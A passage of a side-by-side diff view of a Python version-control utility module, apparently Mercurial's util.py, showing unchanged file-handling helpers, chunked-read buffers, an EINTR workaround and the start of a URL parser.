2156 | """Attempt to remove a file, ignoring ENOENT errors.""" | |
2150 | try: |
|
2157 | try: | |
2151 | unlink(f) |
|
2158 | unlink(f) | |
2152 | except OSError as e: |
|
2159 | except OSError as e: | |
2153 | if e.errno != errno.ENOENT: |
|
2160 | if e.errno != errno.ENOENT: | |
2154 | raise |
|
2161 | raise | |
2155 |
|
2162 | |||
2156 | def makedirs(name, mode=None, notindexed=False): |
|
2163 | def makedirs(name, mode=None, notindexed=False): | |
2157 | """recursive directory creation with parent mode inheritance |
|
2164 | """recursive directory creation with parent mode inheritance | |
2158 |
|
2165 | |||
2159 | Newly created directories are marked as "not to be indexed by |
|
2166 | Newly created directories are marked as "not to be indexed by | |
2160 | the content indexing service", if ``notindexed`` is specified |
|
2167 | the content indexing service", if ``notindexed`` is specified | |
2161 | for "write" mode access. |
|
2168 | for "write" mode access. | |
2162 | """ |
|
2169 | """ | |
2163 | try: |
|
2170 | try: | |
2164 | makedir(name, notindexed) |
|
2171 | makedir(name, notindexed) | |
2165 | except OSError as err: |
|
2172 | except OSError as err: | |
2166 | if err.errno == errno.EEXIST: |
|
2173 | if err.errno == errno.EEXIST: | |
2167 | return |
|
2174 | return | |
2168 | if err.errno != errno.ENOENT or not name: |
|
2175 | if err.errno != errno.ENOENT or not name: | |
2169 | raise |
|
2176 | raise | |
2170 | parent = os.path.dirname(os.path.abspath(name)) |
|
2177 | parent = os.path.dirname(os.path.abspath(name)) | |
2171 | if parent == name: |
|
2178 | if parent == name: | |
2172 | raise |
|
2179 | raise | |
2173 | makedirs(parent, mode, notindexed) |
|
2180 | makedirs(parent, mode, notindexed) | |
2174 | try: |
|
2181 | try: | |
2175 | makedir(name, notindexed) |
|
2182 | makedir(name, notindexed) | |
2176 | except OSError as err: |
|
2183 | except OSError as err: | |
2177 | # Catch EEXIST to handle races |
|
2184 | # Catch EEXIST to handle races | |
2178 | if err.errno == errno.EEXIST: |
|
2185 | if err.errno == errno.EEXIST: | |
2179 | return |
|
2186 | return | |
2180 | raise |
|
2187 | raise | |
2181 | if mode is not None: |
|
2188 | if mode is not None: | |
2182 | os.chmod(name, mode) |
|
2189 | os.chmod(name, mode) | |
2183 |
|
2190 | |||
2184 | def readfile(path): |
|
2191 | def readfile(path): | |
2185 | with open(path, 'rb') as fp: |
|
2192 | with open(path, 'rb') as fp: | |
2186 | return fp.read() |
|
2193 | return fp.read() | |
2187 |
|
2194 | |||
2188 | def writefile(path, text): |
|
2195 | def writefile(path, text): | |
2189 | with open(path, 'wb') as fp: |
|
2196 | with open(path, 'wb') as fp: | |
2190 | fp.write(text) |
|
2197 | fp.write(text) | |
2191 |
|
2198 | |||
2192 | def appendfile(path, text): |
|
2199 | def appendfile(path, text): | |
2193 | with open(path, 'ab') as fp: |
|
2200 | with open(path, 'ab') as fp: | |
2194 | fp.write(text) |
|
2201 | fp.write(text) | |
2195 |
|
2202 | |||
2196 | class chunkbuffer(object): |
|
2203 | class chunkbuffer(object): | |
2197 | """Allow arbitrary sized chunks of data to be efficiently read from an |
|
2204 | """Allow arbitrary sized chunks of data to be efficiently read from an | |
2198 | iterator over chunks of arbitrary size.""" |
|
2205 | iterator over chunks of arbitrary size.""" | |
2199 |
|
2206 | |||
2200 | def __init__(self, in_iter): |
|
2207 | def __init__(self, in_iter): | |
2201 | """in_iter is the iterator that's iterating over the input chunks.""" |
|
2208 | """in_iter is the iterator that's iterating over the input chunks.""" | |
2202 | def splitbig(chunks): |
|
2209 | def splitbig(chunks): | |
2203 | for chunk in chunks: |
|
2210 | for chunk in chunks: | |
2204 | if len(chunk) > 2**20: |
|
2211 | if len(chunk) > 2**20: | |
2205 | pos = 0 |
|
2212 | pos = 0 | |
2206 | while pos < len(chunk): |
|
2213 | while pos < len(chunk): | |
2207 | end = pos + 2 ** 18 |
|
2214 | end = pos + 2 ** 18 | |
2208 | yield chunk[pos:end] |
|
2215 | yield chunk[pos:end] | |
2209 | pos = end |
|
2216 | pos = end | |
2210 | else: |
|
2217 | else: | |
2211 | yield chunk |
|
2218 | yield chunk | |
2212 | self.iter = splitbig(in_iter) |
|
2219 | self.iter = splitbig(in_iter) | |
2213 | self._queue = collections.deque() |
|
2220 | self._queue = collections.deque() | |
2214 | self._chunkoffset = 0 |
|
2221 | self._chunkoffset = 0 | |
2215 |
|
2222 | |||
2216 | def read(self, l=None): |
|
2223 | def read(self, l=None): | |
2217 | """Read L bytes of data from the iterator of chunks of data. |
|
2224 | """Read L bytes of data from the iterator of chunks of data. | |
2218 | Returns less than L bytes if the iterator runs dry. |
|
2225 | Returns less than L bytes if the iterator runs dry. | |
2219 |
|
2226 | |||
2220 | If size parameter is omitted, read everything""" |
|
2227 | If size parameter is omitted, read everything""" | |
2221 | if l is None: |
|
2228 | if l is None: | |
2222 | return ''.join(self.iter) |
|
2229 | return ''.join(self.iter) | |
2223 |
|
2230 | |||
2224 | left = l |
|
2231 | left = l | |
2225 | buf = [] |
|
2232 | buf = [] | |
2226 | queue = self._queue |
|
2233 | queue = self._queue | |
2227 | while left > 0: |
|
2234 | while left > 0: | |
2228 | # refill the queue |
|
2235 | # refill the queue | |
2229 | if not queue: |
|
2236 | if not queue: | |
2230 | target = 2**18 |
|
2237 | target = 2**18 | |
2231 | for chunk in self.iter: |
|
2238 | for chunk in self.iter: | |
2232 | queue.append(chunk) |
|
2239 | queue.append(chunk) | |
2233 | target -= len(chunk) |
|
2240 | target -= len(chunk) | |
2234 | if target <= 0: |
|
2241 | if target <= 0: | |
2235 | break |
|
2242 | break | |
2236 | if not queue: |
|
2243 | if not queue: | |
2237 | break |
|
2244 | break | |
2238 |
|
2245 | |||
2239 | # The easy way to do this would be to queue.popleft(), modify the |
|
2246 | # The easy way to do this would be to queue.popleft(), modify the | |
2240 | # chunk (if necessary), then queue.appendleft(). However, for cases |
|
2247 | # chunk (if necessary), then queue.appendleft(). However, for cases | |
2241 | # where we read partial chunk content, this incurs 2 dequeue |
|
2248 | # where we read partial chunk content, this incurs 2 dequeue | |
2242 | # mutations and creates a new str for the remaining chunk in the |
|
2249 | # mutations and creates a new str for the remaining chunk in the | |
2243 | # queue. Our code below avoids this overhead. |
|
2250 | # queue. Our code below avoids this overhead. | |
2244 |
|
2251 | |||
2245 | chunk = queue[0] |
|
2252 | chunk = queue[0] | |
2246 | chunkl = len(chunk) |
|
2253 | chunkl = len(chunk) | |
2247 | offset = self._chunkoffset |
|
2254 | offset = self._chunkoffset | |
2248 |
|
2255 | |||
2249 | # Use full chunk. |
|
2256 | # Use full chunk. | |
2250 | if offset == 0 and left >= chunkl: |
|
2257 | if offset == 0 and left >= chunkl: | |
2251 | left -= chunkl |
|
2258 | left -= chunkl | |
2252 | queue.popleft() |
|
2259 | queue.popleft() | |
2253 | buf.append(chunk) |
|
2260 | buf.append(chunk) | |
2254 | # self._chunkoffset remains at 0. |
|
2261 | # self._chunkoffset remains at 0. | |
2255 | continue |
|
2262 | continue | |
2256 |
|
2263 | |||
2257 | chunkremaining = chunkl - offset |
|
2264 | chunkremaining = chunkl - offset | |
2258 |
|
2265 | |||
2259 | # Use all of unconsumed part of chunk. |
|
2266 | # Use all of unconsumed part of chunk. | |
2260 | if left >= chunkremaining: |
|
2267 | if left >= chunkremaining: | |
2261 | left -= chunkremaining |
|
2268 | left -= chunkremaining | |
2262 | queue.popleft() |
|
2269 | queue.popleft() | |
2263 | # offset == 0 is enabled by block above, so this won't merely |
|
2270 | # offset == 0 is enabled by block above, so this won't merely | |
2264 | # copy via ``chunk[0:]``. |
|
2271 | # copy via ``chunk[0:]``. | |
2265 | buf.append(chunk[offset:]) |
|
2272 | buf.append(chunk[offset:]) | |
2266 | self._chunkoffset = 0 |
|
2273 | self._chunkoffset = 0 | |
2267 |
|
2274 | |||
2268 | # Partial chunk needed. |
|
2275 | # Partial chunk needed. | |
2269 | else: |
|
2276 | else: | |
2270 | buf.append(chunk[offset:offset + left]) |
|
2277 | buf.append(chunk[offset:offset + left]) | |
2271 | self._chunkoffset += left |
|
2278 | self._chunkoffset += left | |
2272 | left -= chunkremaining |
|
2279 | left -= chunkremaining | |
2273 |
|
2280 | |||
2274 | return ''.join(buf) |
|
2281 | return ''.join(buf) | |
2275 |
|
2282 | |||
2276 | def filechunkiter(f, size=131072, limit=None): |
|
2283 | def filechunkiter(f, size=131072, limit=None): | |
2277 | """Create a generator that produces the data in the file size |
|
2284 | """Create a generator that produces the data in the file size | |
2278 | (default 131072) bytes at a time, up to optional limit (default is |
|
2285 | (default 131072) bytes at a time, up to optional limit (default is | |
2279 | to read all data). Chunks may be less than size bytes if the |
|
2286 | to read all data). Chunks may be less than size bytes if the | |
2280 | chunk is the last chunk in the file, or the file is a socket or |
|
2287 | chunk is the last chunk in the file, or the file is a socket or | |
2281 | some other type of file that sometimes reads less data than is |
|
2288 | some other type of file that sometimes reads less data than is | |
2282 | requested.""" |
|
2289 | requested.""" | |
2283 | assert size >= 0 |
|
2290 | assert size >= 0 | |
2284 | assert limit is None or limit >= 0 |
|
2291 | assert limit is None or limit >= 0 | |
2285 | while True: |
|
2292 | while True: | |
2286 | if limit is None: |
|
2293 | if limit is None: | |
2287 | nbytes = size |
|
2294 | nbytes = size | |
2288 | else: |
|
2295 | else: | |
2289 | nbytes = min(limit, size) |
|
2296 | nbytes = min(limit, size) | |
2290 | s = nbytes and f.read(nbytes) |
|
2297 | s = nbytes and f.read(nbytes) | |
2291 | if not s: |
|
2298 | if not s: | |
2292 | break |
|
2299 | break | |
2293 | if limit: |
|
2300 | if limit: | |
2294 | limit -= len(s) |
|
2301 | limit -= len(s) | |
2295 | yield s |
|
2302 | yield s | |
2296 |
|
2303 | |||
2297 | class cappedreader(object): |
|
2304 | class cappedreader(object): | |
2298 | """A file object proxy that allows reading up to N bytes. |
|
2305 | """A file object proxy that allows reading up to N bytes. | |
2299 |
|
2306 | |||
2300 | Given a source file object, instances of this type allow reading up to |
|
2307 | Given a source file object, instances of this type allow reading up to | |
2301 | N bytes from that source file object. Attempts to read past the allowed |
|
2308 | N bytes from that source file object. Attempts to read past the allowed | |
2302 | limit are treated as EOF. |
|
2309 | limit are treated as EOF. | |
2303 |
|
2310 | |||
2304 | It is assumed that I/O is not performed on the original file object |
|
2311 | It is assumed that I/O is not performed on the original file object | |
2305 | in addition to I/O that is performed by this instance. If there is, |
|
2312 | in addition to I/O that is performed by this instance. If there is, | |
2306 | state tracking will get out of sync and unexpected results will ensue. |
|
2313 | state tracking will get out of sync and unexpected results will ensue. | |
2307 | """ |
|
2314 | """ | |
2308 | def __init__(self, fh, limit): |
|
2315 | def __init__(self, fh, limit): | |
2309 | """Allow reading up to <limit> bytes from <fh>.""" |
|
2316 | """Allow reading up to <limit> bytes from <fh>.""" | |
2310 | self._fh = fh |
|
2317 | self._fh = fh | |
2311 | self._left = limit |
|
2318 | self._left = limit | |
2312 |
|
2319 | |||
2313 | def read(self, n=-1): |
|
2320 | def read(self, n=-1): | |
2314 | if not self._left: |
|
2321 | if not self._left: | |
2315 | return b'' |
|
2322 | return b'' | |
2316 |
|
2323 | |||
2317 | if n < 0: |
|
2324 | if n < 0: | |
2318 | n = self._left |
|
2325 | n = self._left | |
2319 |
|
2326 | |||
2320 | data = self._fh.read(min(n, self._left)) |
|
2327 | data = self._fh.read(min(n, self._left)) | |
2321 | self._left -= len(data) |
|
2328 | self._left -= len(data) | |
2322 | assert self._left >= 0 |
|
2329 | assert self._left >= 0 | |
2323 |
|
2330 | |||
2324 | return data |
|
2331 | return data | |
2325 |
|
2332 | |||
2326 | def readinto(self, b): |
|
2333 | def readinto(self, b): | |
2327 | res = self.read(len(b)) |
|
2334 | res = self.read(len(b)) | |
2328 | if res is None: |
|
2335 | if res is None: | |
2329 | return None |
|
2336 | return None | |
2330 |
|
2337 | |||
2331 | b[0:len(res)] = res |
|
2338 | b[0:len(res)] = res | |
2332 | return len(res) |
|
2339 | return len(res) | |
2333 |
|
2340 | |||
2334 | def unitcountfn(*unittable): |
|
2341 | def unitcountfn(*unittable): | |
2335 | '''return a function that renders a readable count of some quantity''' |
|
2342 | '''return a function that renders a readable count of some quantity''' | |
2336 |
|
2343 | |||
2337 | def go(count): |
|
2344 | def go(count): | |
2338 | for multiplier, divisor, format in unittable: |
|
2345 | for multiplier, divisor, format in unittable: | |
2339 | if abs(count) >= divisor * multiplier: |
|
2346 | if abs(count) >= divisor * multiplier: | |
2340 | return format % (count / float(divisor)) |
|
2347 | return format % (count / float(divisor)) | |
2341 | return unittable[-1][2] % count |
|
2348 | return unittable[-1][2] % count | |
2342 |
|
2349 | |||
2343 | return go |
|
2350 | return go | |
2344 |
|
2351 | |||
2345 | def processlinerange(fromline, toline): |
|
2352 | def processlinerange(fromline, toline): | |
2346 | """Check that linerange <fromline>:<toline> makes sense and return a |
|
2353 | """Check that linerange <fromline>:<toline> makes sense and return a | |
2347 | 0-based range. |
|
2354 | 0-based range. | |
2348 |
|
2355 | |||
2349 | >>> processlinerange(10, 20) |
|
2356 | >>> processlinerange(10, 20) | |
2350 | (9, 20) |
|
2357 | (9, 20) | |
2351 | >>> processlinerange(2, 1) |
|
2358 | >>> processlinerange(2, 1) | |
2352 | Traceback (most recent call last): |
|
2359 | Traceback (most recent call last): | |
2353 | ... |
|
2360 | ... | |
2354 | ParseError: line range must be positive |
|
2361 | ParseError: line range must be positive | |
2355 | >>> processlinerange(0, 5) |
|
2362 | >>> processlinerange(0, 5) | |
2356 | Traceback (most recent call last): |
|
2363 | Traceback (most recent call last): | |
2357 | ... |
|
2364 | ... | |
2358 | ParseError: fromline must be strictly positive |
|
2365 | ParseError: fromline must be strictly positive | |
2359 | """ |
|
2366 | """ | |
2360 | if toline - fromline < 0: |
|
2367 | if toline - fromline < 0: | |
2361 | raise error.ParseError(_("line range must be positive")) |
|
2368 | raise error.ParseError(_("line range must be positive")) | |
2362 | if fromline < 1: |
|
2369 | if fromline < 1: | |
2363 | raise error.ParseError(_("fromline must be strictly positive")) |
|
2370 | raise error.ParseError(_("fromline must be strictly positive")) | |
2364 | return fromline - 1, toline |
|
2371 | return fromline - 1, toline | |
2365 |
|
2372 | |||
2366 | bytecount = unitcountfn( |
|
2373 | bytecount = unitcountfn( | |
2367 | (100, 1 << 30, _('%.0f GB')), |
|
2374 | (100, 1 << 30, _('%.0f GB')), | |
2368 | (10, 1 << 30, _('%.1f GB')), |
|
2375 | (10, 1 << 30, _('%.1f GB')), | |
2369 | (1, 1 << 30, _('%.2f GB')), |
|
2376 | (1, 1 << 30, _('%.2f GB')), | |
2370 | (100, 1 << 20, _('%.0f MB')), |
|
2377 | (100, 1 << 20, _('%.0f MB')), | |
2371 | (10, 1 << 20, _('%.1f MB')), |
|
2378 | (10, 1 << 20, _('%.1f MB')), | |
2372 | (1, 1 << 20, _('%.2f MB')), |
|
2379 | (1, 1 << 20, _('%.2f MB')), | |
2373 | (100, 1 << 10, _('%.0f KB')), |
|
2380 | (100, 1 << 10, _('%.0f KB')), | |
2374 | (10, 1 << 10, _('%.1f KB')), |
|
2381 | (10, 1 << 10, _('%.1f KB')), | |
2375 | (1, 1 << 10, _('%.2f KB')), |
|
2382 | (1, 1 << 10, _('%.2f KB')), | |
2376 | (1, 1, _('%.0f bytes')), |
|
2383 | (1, 1, _('%.0f bytes')), | |
2377 | ) |
|
2384 | ) | |
2378 |
|
2385 | |||
2379 | class transformingwriter(object): |
|
2386 | class transformingwriter(object): | |
2380 | """Writable file wrapper to transform data by function""" |
|
2387 | """Writable file wrapper to transform data by function""" | |
2381 |
|
2388 | |||
2382 | def __init__(self, fp, encode): |
|
2389 | def __init__(self, fp, encode): | |
2383 | self._fp = fp |
|
2390 | self._fp = fp | |
2384 | self._encode = encode |
|
2391 | self._encode = encode | |
2385 |
|
2392 | |||
2386 | def close(self): |
|
2393 | def close(self): | |
2387 | self._fp.close() |
|
2394 | self._fp.close() | |
2388 |
|
2395 | |||
2389 | def flush(self): |
|
2396 | def flush(self): | |
2390 | self._fp.flush() |
|
2397 | self._fp.flush() | |
2391 |
|
2398 | |||
2392 | def write(self, data): |
|
2399 | def write(self, data): | |
2393 | return self._fp.write(self._encode(data)) |
|
2400 | return self._fp.write(self._encode(data)) | |
2394 |
|
2401 | |||
2395 | # Matches a single EOL which can either be a CRLF where repeated CR |
|
2402 | # Matches a single EOL which can either be a CRLF where repeated CR | |
2396 | # are removed or a LF. We do not care about old Macintosh files, so a |
|
2403 | # are removed or a LF. We do not care about old Macintosh files, so a | |
2397 | # stray CR is an error. |
|
2404 | # stray CR is an error. | |
2398 | _eolre = remod.compile(br'\r*\n') |
|
2405 | _eolre = remod.compile(br'\r*\n') | |
2399 |
|
2406 | |||
2400 | def tolf(s): |
|
2407 | def tolf(s): | |
2401 | return _eolre.sub('\n', s) |
|
2408 | return _eolre.sub('\n', s) | |
2402 |
|
2409 | |||
2403 | def tocrlf(s): |
|
2410 | def tocrlf(s): | |
2404 | return _eolre.sub('\r\n', s) |
|
2411 | return _eolre.sub('\r\n', s) | |
2405 |
|
2412 | |||
2406 | def _crlfwriter(fp): |
|
2413 | def _crlfwriter(fp): | |
2407 | return transformingwriter(fp, tocrlf) |
|
2414 | return transformingwriter(fp, tocrlf) | |
2408 |
|
2415 | |||
2409 | if pycompat.oslinesep == '\r\n': |
|
2416 | if pycompat.oslinesep == '\r\n': | |
2410 | tonativeeol = tocrlf |
|
2417 | tonativeeol = tocrlf | |
2411 | fromnativeeol = tolf |
|
2418 | fromnativeeol = tolf | |
2412 | nativeeolwriter = _crlfwriter |
|
2419 | nativeeolwriter = _crlfwriter | |
2413 | else: |
|
2420 | else: | |
2414 | tonativeeol = pycompat.identity |
|
2421 | tonativeeol = pycompat.identity | |
2415 | fromnativeeol = pycompat.identity |
|
2422 | fromnativeeol = pycompat.identity | |
2416 | nativeeolwriter = pycompat.identity |
|
2423 | nativeeolwriter = pycompat.identity | |
2417 |
|
2424 | |||
2418 | if (pyplatform.python_implementation() == 'CPython' and |
|
2425 | if (pyplatform.python_implementation() == 'CPython' and | |
2419 | sys.version_info < (3, 0)): |
|
2426 | sys.version_info < (3, 0)): | |
2420 | # There is an issue in CPython that some IO methods do not handle EINTR |
|
2427 | # There is an issue in CPython that some IO methods do not handle EINTR | |
2421 | # correctly. The following table shows what CPython version (and functions) |
|
2428 | # correctly. The following table shows what CPython version (and functions) | |
2422 | # are affected (buggy: has the EINTR bug, okay: otherwise): |
|
2429 | # are affected (buggy: has the EINTR bug, okay: otherwise): | |
2423 | # |
|
2430 | # | |
2424 | # | < 2.7.4 | 2.7.4 to 2.7.12 | >= 3.0 |
|
2431 | # | < 2.7.4 | 2.7.4 to 2.7.12 | >= 3.0 | |
2425 | # -------------------------------------------------- |
|
2432 | # -------------------------------------------------- | |
2426 | # fp.__iter__ | buggy | buggy | okay |
|
2433 | # fp.__iter__ | buggy | buggy | okay | |
2427 | # fp.read* | buggy | okay [1] | okay |
|
2434 | # fp.read* | buggy | okay [1] | okay | |
2428 | # |
|
2435 | # | |
2429 | # [1]: fixed by changeset 67dc99a989cd in the cpython hg repo. |
|
2436 | # [1]: fixed by changeset 67dc99a989cd in the cpython hg repo. | |
2430 | # |
|
2437 | # | |
2431 | # Here we workaround the EINTR issue for fileobj.__iter__. Other methods |
|
2438 | # Here we workaround the EINTR issue for fileobj.__iter__. Other methods | |
2432 | # like "read*" are ignored for now, as Python < 2.7.4 is a minority. |
|
2439 | # like "read*" are ignored for now, as Python < 2.7.4 is a minority. | |
2433 | # |
|
2440 | # | |
2434 | # Although we can workaround the EINTR issue for fp.__iter__, it is slower: |
|
2441 | # Although we can workaround the EINTR issue for fp.__iter__, it is slower: | |
2435 | # "for x in fp" is 4x faster than "for x in iter(fp.readline, '')" in |
|
2442 | # "for x in fp" is 4x faster than "for x in iter(fp.readline, '')" in | |
2436 | # CPython 2, because CPython 2 maintains an internal readahead buffer for |
|
2443 | # CPython 2, because CPython 2 maintains an internal readahead buffer for | |
2437 | # fp.__iter__ but not other fp.read* methods. |
|
2444 | # fp.__iter__ but not other fp.read* methods. | |
2438 | # |
|
2445 | # | |
2439 | # On modern systems like Linux, the "read" syscall cannot be interrupted |
|
2446 | # On modern systems like Linux, the "read" syscall cannot be interrupted | |
2440 | # when reading "fast" files like on-disk files. So the EINTR issue only |
|
2447 | # when reading "fast" files like on-disk files. So the EINTR issue only | |
2441 | # affects things like pipes, sockets, ttys etc. We treat "normal" (S_ISREG) |
|
2448 | # affects things like pipes, sockets, ttys etc. We treat "normal" (S_ISREG) | |
2442 | # files approximately as "fast" files and use the fast (unsafe) code path, |
|
2449 | # files approximately as "fast" files and use the fast (unsafe) code path, | |
2443 | # to minimize the performance impact. |
|
2450 | # to minimize the performance impact. | |
2444 | if sys.version_info >= (2, 7, 4): |
|
2451 | if sys.version_info >= (2, 7, 4): | |
2445 | # fp.readline deals with EINTR correctly, use it as a workaround. |
|
2452 | # fp.readline deals with EINTR correctly, use it as a workaround. | |
2446 | def _safeiterfile(fp): |
|
2453 | def _safeiterfile(fp): | |
2447 | return iter(fp.readline, '') |
|
2454 | return iter(fp.readline, '') | |
2448 | else: |
|
2455 | else: | |
2449 | # fp.read* are broken too, manually deal with EINTR in a stupid way. |
|
2456 | # fp.read* are broken too, manually deal with EINTR in a stupid way. | |
2450 | # note: this may block longer than necessary because of bufsize. |
|
2457 | # note: this may block longer than necessary because of bufsize. | |
2451 | def _safeiterfile(fp, bufsize=4096): |
|
2458 | def _safeiterfile(fp, bufsize=4096): | |
2452 | fd = fp.fileno() |
|
2459 | fd = fp.fileno() | |
2453 | line = '' |
|
2460 | line = '' | |
2454 | while True: |
|
2461 | while True: | |
2455 | try: |
|
2462 | try: | |
2456 | buf = os.read(fd, bufsize) |
|
2463 | buf = os.read(fd, bufsize) | |
2457 | except OSError as ex: |
|
2464 | except OSError as ex: | |
2458 | # os.read only raises EINTR before any data is read |
|
2465 | # os.read only raises EINTR before any data is read | |
2459 | if ex.errno == errno.EINTR: |
|
2466 | if ex.errno == errno.EINTR: | |
2460 | continue |
|
2467 | continue | |
2461 | else: |
|
2468 | else: | |
2462 | raise |
|
2469 | raise | |
2463 | line += buf |
|
2470 | line += buf | |
2464 | if '\n' in buf: |
|
2471 | if '\n' in buf: | |
2465 | splitted = line.splitlines(True) |
|
2472 | splitted = line.splitlines(True) | |
2466 | line = '' |
|
2473 | line = '' | |
2467 | for l in splitted: |
|
2474 | for l in splitted: | |
2468 | if l[-1] == '\n': |
|
2475 | if l[-1] == '\n': | |
2469 | yield l |
|
2476 | yield l | |
2470 | else: |
|
2477 | else: | |
2471 | line = l |
|
2478 | line = l | |
2472 | if not buf: |
|
2479 | if not buf: | |
2473 | break |
|
2480 | break | |
2474 | if line: |
|
2481 | if line: | |
2475 | yield line |
|
2482 | yield line | |
2476 |
|
2483 | |||
2477 | def iterfile(fp): |
|
2484 | def iterfile(fp): | |
2478 | fastpath = True |
|
2485 | fastpath = True | |
2479 | if type(fp) is file: |
|
2486 | if type(fp) is file: | |
2480 | fastpath = stat.S_ISREG(os.fstat(fp.fileno()).st_mode) |
|
2487 | fastpath = stat.S_ISREG(os.fstat(fp.fileno()).st_mode) | |
2481 | if fastpath: |
|
2488 | if fastpath: | |
2482 | return fp |
|
2489 | return fp | |
2483 | else: |
|
2490 | else: | |
2484 | return _safeiterfile(fp) |
|
2491 | return _safeiterfile(fp) | |
2485 | else: |
|
2492 | else: | |
2486 | # PyPy and CPython 3 do not have the EINTR issue thus no workaround needed. |
|
2493 | # PyPy and CPython 3 do not have the EINTR issue thus no workaround needed. | |
2487 | def iterfile(fp): |
|
2494 | def iterfile(fp): | |
2488 | return fp |
|
2495 | return fp | |
2489 |
|
2496 | |||
2490 | def iterlines(iterator): |
|
2497 | def iterlines(iterator): | |
2491 | for chunk in iterator: |
|
2498 | for chunk in iterator: | |
2492 | for line in chunk.splitlines(): |
|
2499 | for line in chunk.splitlines(): | |
2493 | yield line |
|
2500 | yield line | |
2494 |
|
2501 | |||
2495 | def expandpath(path): |
|
2502 | def expandpath(path): | |
2496 | return os.path.expanduser(os.path.expandvars(path)) |
|
2503 | return os.path.expanduser(os.path.expandvars(path)) | |
2497 |
|
2504 | |||
2498 | def interpolate(prefix, mapping, s, fn=None, escape_prefix=False): |
|
2505 | def interpolate(prefix, mapping, s, fn=None, escape_prefix=False): | |
2499 | """Return the result of interpolating items in the mapping into string s. |
|
2506 | """Return the result of interpolating items in the mapping into string s. | |
2500 |
|
2507 | |||
2501 | prefix is a single character string, or a two character string with |
|
2508 | prefix is a single character string, or a two character string with | |
2502 | a backslash as the first character if the prefix needs to be escaped in |
|
2509 | a backslash as the first character if the prefix needs to be escaped in | |
2503 | a regular expression. |
|
2510 | a regular expression. | |
2504 |
|
2511 | |||
2505 | fn is an optional function that will be applied to the replacement text |
|
2512 | fn is an optional function that will be applied to the replacement text | |
2506 | just before replacement. |
|
2513 | just before replacement. | |
2507 |
|
2514 | |||
2508 | escape_prefix is an optional flag that allows using doubled prefix for |
|
2515 | escape_prefix is an optional flag that allows using doubled prefix for | |
2509 | its escaping. |
|
2516 | its escaping. | |
2510 | """ |
|
2517 | """ | |
2511 | fn = fn or (lambda s: s) |
|
2518 | fn = fn or (lambda s: s) | |
2512 | patterns = '|'.join(mapping.keys()) |
|
2519 | patterns = '|'.join(mapping.keys()) | |
2513 | if escape_prefix: |
|
2520 | if escape_prefix: | |
2514 | patterns += '|' + prefix |
|
2521 | patterns += '|' + prefix | |
2515 | if len(prefix) > 1: |
|
2522 | if len(prefix) > 1: | |
2516 | prefix_char = prefix[1:] |
|
2523 | prefix_char = prefix[1:] | |
2517 | else: |
|
2524 | else: | |
2518 | prefix_char = prefix |
|
2525 | prefix_char = prefix | |
2519 | mapping[prefix_char] = prefix_char |
|
2526 | mapping[prefix_char] = prefix_char | |
2520 | r = remod.compile(br'%s(%s)' % (prefix, patterns)) |
|
2527 | r = remod.compile(br'%s(%s)' % (prefix, patterns)) | |
2521 | return r.sub(lambda x: fn(mapping[x.group()[1:]]), s) |
|
2528 | return r.sub(lambda x: fn(mapping[x.group()[1:]]), s) | |
2522 |
|
2529 | |||
2523 | def getport(port): |
|
2530 | def getport(port): | |
2524 | """Return the port for a given network service. |
|
2531 | """Return the port for a given network service. | |
2525 |
|
2532 | |||
2526 | If port is an integer, it's returned as is. If it's a string, it's |
|
2533 | If port is an integer, it's returned as is. If it's a string, it's | |
2527 | looked up using socket.getservbyname(). If there's no matching |
|
2534 | looked up using socket.getservbyname(). If there's no matching | |
2528 | service, error.Abort is raised. |
|
2535 | service, error.Abort is raised. | |
2529 | """ |
|
2536 | """ | |
2530 | try: |
|
2537 | try: | |
2531 | return int(port) |
|
2538 | return int(port) | |
2532 | except ValueError: |
|
2539 | except ValueError: | |
2533 | pass |
|
2540 | pass | |
2534 |
|
2541 | |||
2535 | try: |
|
2542 | try: | |
2536 | return socket.getservbyname(pycompat.sysstr(port)) |
|
2543 | return socket.getservbyname(pycompat.sysstr(port)) | |
2537 | except socket.error: |
|
2544 | except socket.error: | |
2538 | raise error.Abort(_("no port number associated with service '%s'") |
|
2545 | raise error.Abort(_("no port number associated with service '%s'") | |
2539 | % port) |
|
2546 | % port) | |
2540 |
|
2547 | |||
2541 | class url(object): |
|
2548 | class url(object): | |
2542 | r"""Reliable URL parser. |
|
2549 | r"""Reliable URL parser. | |
2543 |
|
2550 | |||
2544 | This parses URLs and provides attributes for the following |
|
2551 | This parses URLs and provides attributes for the following | |
2545 | components: |
|
2552 | components: | |
2546 |
|
2553 | |||
2547 | <scheme>://<user>:<passwd>@<host>:<port>/<path>?<query>#<fragment> |
|
2554 | <scheme>://<user>:<passwd>@<host>:<port>/<path>?<query>#<fragment> | |
2548 |
|
2555 | |||
2549 | Missing components are set to None. The only exception is |
|
2556 | Missing components are set to None. The only exception is | |
2550 | fragment, which is set to '' if present but empty. |
|
2557 | fragment, which is set to '' if present but empty. | |
2551 |
|
2558 | |||
2552 | If parsefragment is False, fragment is included in query. If |
|
2559 | If parsefragment is False, fragment is included in query. If | |
2553 | parsequery is False, query is included in path. If both are |
|
2560 | parsequery is False, query is included in path. If both are | |
2554 | False, both fragment and query are included in path. |
|
2561 | False, both fragment and query are included in path. | |
2555 |
|
2562 | |||
2556 | See http://www.ietf.org/rfc/rfc2396.txt for more information. |
|
2563 | See http://www.ietf.org/rfc/rfc2396.txt for more information. | |
2557 |
|
2564 | |||
2558 | Note that for backward compatibility reasons, bundle URLs do not |
|
2565 | Note that for backward compatibility reasons, bundle URLs do not | |
2559 | take host names. That means 'bundle://../' has a path of '../'. |
|
2566 | take host names. That means 'bundle://../' has a path of '../'. | |
2560 |
|
2567 | |||
2561 | Examples: |
|
2568 | Examples: | |
2562 |
|
2569 | |||
2563 | >>> url(b'http://www.ietf.org/rfc/rfc2396.txt') |
|
2570 | >>> url(b'http://www.ietf.org/rfc/rfc2396.txt') | |
2564 | <url scheme: 'http', host: 'www.ietf.org', path: 'rfc/rfc2396.txt'> |
|
2571 | <url scheme: 'http', host: 'www.ietf.org', path: 'rfc/rfc2396.txt'> | |
2565 | >>> url(b'ssh://[::1]:2200//home/joe/repo') |
|
2572 | >>> url(b'ssh://[::1]:2200//home/joe/repo') | |
2566 | <url scheme: 'ssh', host: '[::1]', port: '2200', path: '/home/joe/repo'> |
|
2573 | <url scheme: 'ssh', host: '[::1]', port: '2200', path: '/home/joe/repo'> | |
2567 | >>> url(b'file:///home/joe/repo') |
|
2574 | >>> url(b'file:///home/joe/repo') | |
2568 | <url scheme: 'file', path: '/home/joe/repo'> |
|
2575 | <url scheme: 'file', path: '/home/joe/repo'> | |
2569 | >>> url(b'file:///c:/temp/foo/') |
|
